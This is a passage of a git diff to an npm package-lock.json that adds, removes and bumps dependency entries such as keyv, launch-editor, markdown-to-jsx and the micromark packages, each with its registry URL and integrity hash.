"sha512-mifzlm2+5nZ+lEcLJMoBK0/IH/bDg8XnJfd/Wq6IP+xoCjLZsTOnV2QpxlVbX9bMnkl5PdEjNtBJ9Cj1NjifhQ==", - "dev": true, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/js-sdsl" - } - }, "node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -8174,6 +8710,12 @@ "node": ">=4" } }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true + }, "node_modules/json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", @@ -8273,107 +8815,36 @@ "node": ">=0.6.0" } }, - "node_modules/jss": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss/-/jss-10.10.0.tgz", - "integrity": "sha512-cqsOTS7jqPsPMjtKYDUpdFC0AbhYFLTcuGRqymgmdJIeQ8cH7+AgX7YSgQy79wXloZq2VvATYxUOUQEvS1V/Zw==", + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, "dependencies": { - "@babel/runtime": "^7.3.1", - "csstype": "^3.0.2", - "is-in-browser": "^1.1.3", - "tiny-warning": "^1.0.2" + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/jss" + "engines": { + "node": ">=4.0" } }, - "node_modules/jss-plugin-camel-case": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.10.0.tgz", - "integrity": "sha512-z+HETfj5IYgFxh1wJnUAU8jByI48ED+v0fuTuhKrPR+pRBYS2EDwbusU8aFOpCdYhtRc9zhN+PJ7iNE8pAWyPw==", - "dependencies": { - "@babel/runtime": "^7.3.1", - "hyphenate-style-name": "^1.0.3", - "jss": "10.10.0" - } + "node_modules/keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==", + "peer": true }, - "node_modules/jss-plugin-default-unit": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.10.0.tgz", - "integrity": "sha512-SvpajxIECi4JDUbGLefvNckmI+c2VWmP43qnEy/0eiwzRUsafg5DVSIWSzZe4d2vFX1u9nRDP46WCFV/PXVBGQ==", + "node_modules/keyv": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", + "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", + "dev": true, "dependencies": { - "@babel/runtime": "^7.3.1", - "jss": "10.10.0" + "json-buffer": "3.0.1" } }, - "node_modules/jss-plugin-global": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.10.0.tgz", - "integrity": "sha512-icXEYbMufiNuWfuazLeN+BNJO16Ge88OcXU5ZDC2vLqElmMybA31Wi7lZ3lf+vgufRocvPj8443irhYRgWxP+A==", - "dependencies": { - "@babel/runtime": "^7.3.1", - "jss": "10.10.0" - } - }, - "node_modules/jss-plugin-nested": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.10.0.tgz", - "integrity": "sha512-9R4JHxxGgiZhurDo3q7LdIiDEgtA1bTGzAbhSPyIOWb7ZubrjQe8acwhEQ6OEKydzpl8XHMtTnEwHXCARLYqYA==", - "dependencies": { - "@babel/runtime": "^7.3.1", - "jss": "10.10.0", - "tiny-warning": "^1.0.2" - } - }, - "node_modules/jss-plugin-props-sort": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.10.0.tgz", - "integrity": "sha512-5VNJvQJbnq/vRfje6uZLe/FyaOpzP/IH1LP+0fr88QamVrGJa0hpRRyAa0ea4U/3LcorJfBFVyC4yN2QC73lJg==", - "dependencies": { - "@babel/runtime": "^7.3.1", - "jss": "10.10.0" - } - }, - "node_modules/jss-plugin-rule-value-function": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.10.0.tgz", - "integrity": "sha512-uEFJFgaCtkXeIPgki8ICw3Y7VMkL9GEan6SqmT9tqpwM+/t+hxfMUdU4wQ0MtOiMNWhwnckBV0IebrKcZM9C0g==", - "dependencies": { - "@babel/runtime": "^7.3.1", - "jss": "10.10.0", - "tiny-warning": "^1.0.2" - } - }, - "node_modules/jss-plugin-vendor-prefixer": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.10.0.tgz", - "integrity": "sha512-UY/41WumgjW8r1qMCO8l1ARg7NHnfRVWRhZ2E2m0DMYsr2DD91qIXLyNhiX83hHswR7Wm4D+oDYNC1zWCJWtqg==", - "dependencies": { - "@babel/runtime": "^7.3.1", - "css-vendor": "^2.0.8", - "jss": "10.10.0" - } - }, - "node_modules/jsx-ast-utils": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz", - "integrity": "sha512-fYQHZTZ8jSfmWZ0iyzfwiU4WDX4HpHbMCZ3gPlWYiCl3BoeOTsqKBqnTVfH2rYT7eP5c3sVbeSPHnnJOaTrWiw==", - "dev": true, - "dependencies": { - "array-includes": "^3.1.5", - "object.assign": "^4.1.3" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/keycharm": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", - "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==", - "peer": true - }, "node_modules/kind-of": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", @@ -8391,13 +8862,14 @@ "node": ">=6" } }, - "node_modules/klona": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz", - "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "node_modules/launch-editor": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.6.0.tgz", + "integrity": "sha512-JpDCcQnyAAzZZaZ7vEiSqL690w7dAEyLao+KC96zBplnYbJS7TYNjvM3M7y3dGz+v7aIsJk3hllWuc0kWAjyRQ==", "dev": true, - "engines": { - "node": ">= 8" + "dependencies": { + "picocolors": "^1.0.0", + "shell-quote": "^1.7.3" } }, "node_modules/levn": { @@ -8426,20 +8898,6 @@ "node": ">=6.11.5" } }, - "node_modules/loader-utils": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", - "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", - "dev": true, - "dependencies": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^2.1.2" - }, - "engines": { - "node": ">=8.9.0" - } - }, "node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -8465,11 +8923,6 @@ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" }, - "node_modules/lodash.assignwith": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.assignwith/-/lodash.assignwith-4.2.0.tgz", - "integrity": "sha512-ZznplvbvtjK2gMvnQ1BR/zqPFZmS6jbK4p+6Up4xcRYA7yMIwxHCfbTcrYxXKzzqLsQ05eJPVznEW3tuwV7k1g==" - }, "node_modules/lodash.clonedeep": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", @@ -8483,42 +8936,14 @@ "node_modules/lodash.debounce": { "version": "4.0.8", "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", - "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==" - }, - "node_modules/lodash.find": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", - "integrity": "sha512-yaRZoAV3Xq28F1iafWN1+a0rflOej93l1DQUejs3SZ41h2O9UJBoS9aueGjPDgAl4B6tPC0NuuchLKaDQQ3Isg==" - }, - "node_modules/lodash.get": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", - "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==" - }, - "node_modules/lodash.isequal": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", - "integrity": "sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ==" - }, - "node_modules/lodash.isundefined": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", - "integrity": "sha512-MXB1is3s899/cD8jheYYE2V9qTHwKvt+npCwpD+1Sxm3Q3cECXCiYHjeHWXNwr6Q0SOBPrYUDxendrO6goVTEA==" - }, - "node_modules/lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==" + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true }, "node_modules/lodash.merge": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" - }, - "node_modules/lodash.throttle": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", - "integrity": "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ==" + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true }, "node_modules/loose-envify": { "version": "1.4.0", @@ -8563,14 +8988,25 @@ } }, "node_modules/make-dir/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", "dev": true, "bin": { "semver": "bin/semver" } }, + "node_modules/markdown-to-jsx": { + "version": "7.3.2", + "resolved": "https://registry.npmjs.org/markdown-to-jsx/-/markdown-to-jsx-7.3.2.tgz", + "integrity": "sha512-B+28F5ucp83aQm+OxNrPkS8z0tMKaeHiy0lHJs3LqCyDQFtWuenaIrkaVTgAm1pf1AU85LXltva86hlaT17i8Q==", + "engines": { + "node": ">= 10" + }, + "peerDependencies": { + "react": ">= 0.14.0" + } + }, "node_modules/md5.js": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz", @@ -8595,10 +9031,36 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/mdast-util-find-and-replace": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-2.2.2.tgz", + "integrity": "sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==", + "dependencies": { + "@types/mdast": "^3.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/mdast-util-from-markdown": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.0.tgz", - "integrity": "sha512-HN3W1gRIuN/ZW295c7zi7g9lVBllMgZE40RxCX37wrTPWXCWtpvOZdfnuK+1WNpvZje6XuJeI3Wnb4TJEUem+g==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.1.tgz", + "integrity": "sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==", "dependencies": { "@types/mdast": "^3.0.0", "@types/unist": "^2.0.0", @@ -8618,6 +9080,19 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/mdast-util-newline-to-break": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-newline-to-break/-/mdast-util-newline-to-break-1.0.0.tgz", + "integrity": "sha512-491LcYv3gbGhhCrLoeALncQmega2xPh+m3gbsIhVsOX4sw85+ShLFPvPyibxc1Swx/6GtzxgVodq+cGa/47ULg==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-find-and-replace": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/mdast-util-to-hast": { "version": "12.3.0", "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-12.3.0.tgz", @@ -8638,9 +9113,9 @@ } }, "node_modules/mdast-util-to-string": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.1.1.tgz", - "integrity": "sha512-tGvhT94e+cVnQt8JWE9/b3cUQZWS732TJxXHktvP+BYo62PpYD53Ls/6cC60rW21dW+txxiM4zMdc6abASvZKA==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz", + "integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==", "dependencies": { "@types/mdast": "^3.0.0" }, @@ -8659,12 +9134,12 @@ } }, "node_modules/memfs": { - "version": "3.4.13", - "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.13.tgz", - "integrity": "sha512-omTM41g3Skpvx5dSYeZIbXKcXoAVc/AoMNwn9TKx++L/gaen/+4TTttmu8ZSch5vfVJ8uJvGbroTsIlslRg6lg==", + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", "dev": true, "dependencies": { - "fs-monkey": "^1.0.3" + "fs-monkey": "^1.0.4" }, "engines": { "node": ">= 4.0.0" @@ -8691,9 +9166,9 @@ } }, "node_modules/micromark": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/micromark/-/micromark-3.1.0.tgz", - "integrity": "sha512-6Mj0yHLdUZjHnOPgr5xfWIMqMWS12zDN6iws9SLuSz76W8jTtAv24MN4/CL7gJrl5vtxGInkkqDv/JIoRsQOvA==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-3.2.0.tgz", + "integrity": "sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==", "funding": [ { "type": "GitHub Sponsors", @@ -8725,9 +9200,9 @@ } }, "node_modules/micromark-core-commonmark": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-1.0.6.tgz", - "integrity": "sha512-K+PkJTxqjFfSNkfAhp4GB+cZPfQd6dxtTXnf+RjZOV7T4EEXnvgzOcnp+eSTmpGk9d1S9sL6/lqrgSNn/s0HZA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-1.1.0.tgz", + "integrity": "sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==", "funding": [ { "type": "GitHub Sponsors", @@ -8758,9 +9233,9 @@ } }, "node_modules/micromark-factory-destination": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-1.0.0.tgz", - "integrity": "sha512-eUBA7Rs1/xtTVun9TmV3gjfPz2wEwgK5R5xcbIM5ZYAtvGF6JkyaDsj0agx8urXnO31tEO6Ug83iVH3tdedLnw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-1.1.0.tgz", + "integrity": "sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==", "funding": [ { "type": "GitHub Sponsors", @@ -8778,9 +9253,9 @@ } }, "node_modules/micromark-factory-label": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-1.0.2.tgz", - "integrity": "sha512-CTIwxlOnU7dEshXDQ+dsr2n+yxpP0+fn271pu0bwDIS8uqfFcumXpj5mLn3hSC8iw2MUr6Gx8EcKng1dD7i6hg==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-1.1.0.tgz", + "integrity": "sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==", "funding": [ { "type": "GitHub Sponsors", @@ -8799,9 +9274,9 @@ } }, "node_modules/micromark-factory-space": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-1.0.0.tgz", - "integrity": "sha512-qUmqs4kj9a5yBnk3JMLyjtWYN6Mzfcx8uJfi5XAveBniDevmZasdGBba5b4QsvRcAkmvGo5ACmSUmyGiKTLZew==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-1.1.0.tgz", + "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", "funding": [ { "type": "GitHub Sponsors", @@ -8818,9 +9293,9 @@ } }, "node_modules/micromark-factory-title": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-1.0.2.tgz", - "integrity": "sha512-zily+Nr4yFqgMGRKLpTVsNl5L4PMu485fGFDOQJQBl2NFpjGte1e86zC0da93wf97jrc4+2G2GQudFMHn3IX+A==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-1.1.0.tgz", + "integrity": "sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==", "funding": [ { "type": "GitHub Sponsors", @@ -8835,14 +9310,13 @@ "micromark-factory-space": "^1.0.0", "micromark-util-character": "^1.0.0", "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "uvu": "^0.5.0" + "micromark-util-types": "^1.0.0" } }, "node_modules/micromark-factory-whitespace": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-1.0.0.tgz", - "integrity": "sha512-Qx7uEyahU1lt1RnsECBiuEbfr9INjQTGa6Err+gF3g0Tx4YEviPbqqGKNv/NrBaE7dVHdn1bVZKM/n5I/Bak7A==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-1.1.0.tgz", + "integrity": "sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==", "funding": [ { "type": "GitHub Sponsors", @@ -8861,9 +9335,9 @@ } }, "node_modules/micromark-util-character": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-1.1.0.tgz", - "integrity": "sha512-agJ5B3unGNJ9rJvADMJ5ZiYjBRyDpzKAOk01Kpi1TKhlT1APx3XZk6eN7RtSz1erbWHC2L8T3xLZ81wdtGRZzg==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-1.2.0.tgz", + "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", "funding": [ { "type": "GitHub Sponsors", @@ -8880,9 +9354,9 @@ } }, "node_modules/micromark-util-chunked": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-1.0.0.tgz", - "integrity": "sha512-5e8xTis5tEZKgesfbQMKRCyzvffRRUX+lK/y+DvsMFdabAicPkkZV6gO+FEWi9RfuKKoxxPwNL+dFF0SMImc1g==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-1.1.0.tgz", + "integrity": "sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==", "funding": [ { "type": "GitHub Sponsors", @@ -8898,9 +9372,9 @@ } }, "node_modules/micromark-util-classify-character": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-1.0.0.tgz", - "integrity": "sha512-F8oW2KKrQRb3vS5ud5HIqBVkCqQi224Nm55o5wYLzY/9PwHGXC01tr3d7+TqHHz6zrKQ72Okwtvm/xQm6OVNZA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-1.1.0.tgz", + "integrity": "sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==", "funding": [ { "type": "GitHub Sponsors", @@ -8918,9 +9392,9 @@ } }, "node_modules/micromark-util-combine-extensions": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.0.0.tgz", - "integrity": "sha512-J8H058vFBdo/6+AsjHp2NF7AJ02SZtWaVUjsayNFeAiydTxUwViQPxN0Hf8dp4FmCQi0UUFovFsEyRSUmFH3MA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.1.0.tgz", + "integrity": "sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==", "funding": [ { "type": "GitHub Sponsors", @@ -8937,9 +9411,9 @@ } }, "node_modules/micromark-util-decode-numeric-character-reference": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.0.0.tgz", - "integrity": "sha512-OzO9AI5VUtrTD7KSdagf4MWgHMtET17Ua1fIpXTpuhclCqD8egFWo85GxSGvxgkGS74bEahvtM0WP0HjvV0e4w==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.1.0.tgz", + "integrity": "sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==", "funding": [ { "type": "GitHub Sponsors", @@ -8955,9 +9429,9 @@ } }, "node_modules/micromark-util-decode-string": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-1.0.2.tgz", - "integrity": "sha512-DLT5Ho02qr6QWVNYbRZ3RYOSSWWFuH3tJexd3dgN1odEuPNxCngTCXJum7+ViRAd9BbdxCvMToPOD/IvVhzG6Q==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-1.1.0.tgz", + "integrity": "sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==", "funding": [ { "type": "GitHub Sponsors", @@ -8976,9 +9450,9 @@ } }, "node_modules/micromark-util-encode": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-1.0.1.tgz", - "integrity": "sha512-U2s5YdnAYexjKDel31SVMPbfi+eF8y1U4pfiRW/Y8EFVCy/vgxk/2wWTxzcqE71LHtCuCzlBDRU2a5CQ5j+mQA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-1.1.0.tgz", + "integrity": "sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==", "funding": [ { "type": "GitHub Sponsors", @@ -8991,9 +9465,9 @@ ] }, "node_modules/micromark-util-html-tag-name": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.1.0.tgz", - "integrity": "sha512-BKlClMmYROy9UiV03SwNmckkjn8QHVaWkqoAqzivabvdGcwNGMMMH/5szAnywmsTBUzDsU57/mFi0sp4BQO6dA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.2.0.tgz", + "integrity": "sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==", "funding": [ { "type": "GitHub Sponsors", @@ -9006,9 +9480,9 @@ ] }, "node_modules/micromark-util-normalize-identifier": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.0.0.tgz", - "integrity": "sha512-yg+zrL14bBTFrQ7n35CmByWUTFsgst5JhA4gJYoty4Dqzj4Z4Fr/DHekSS5aLfH9bdlfnSvKAWsAgJhIbogyBg==", + "version": "1.1.0", + 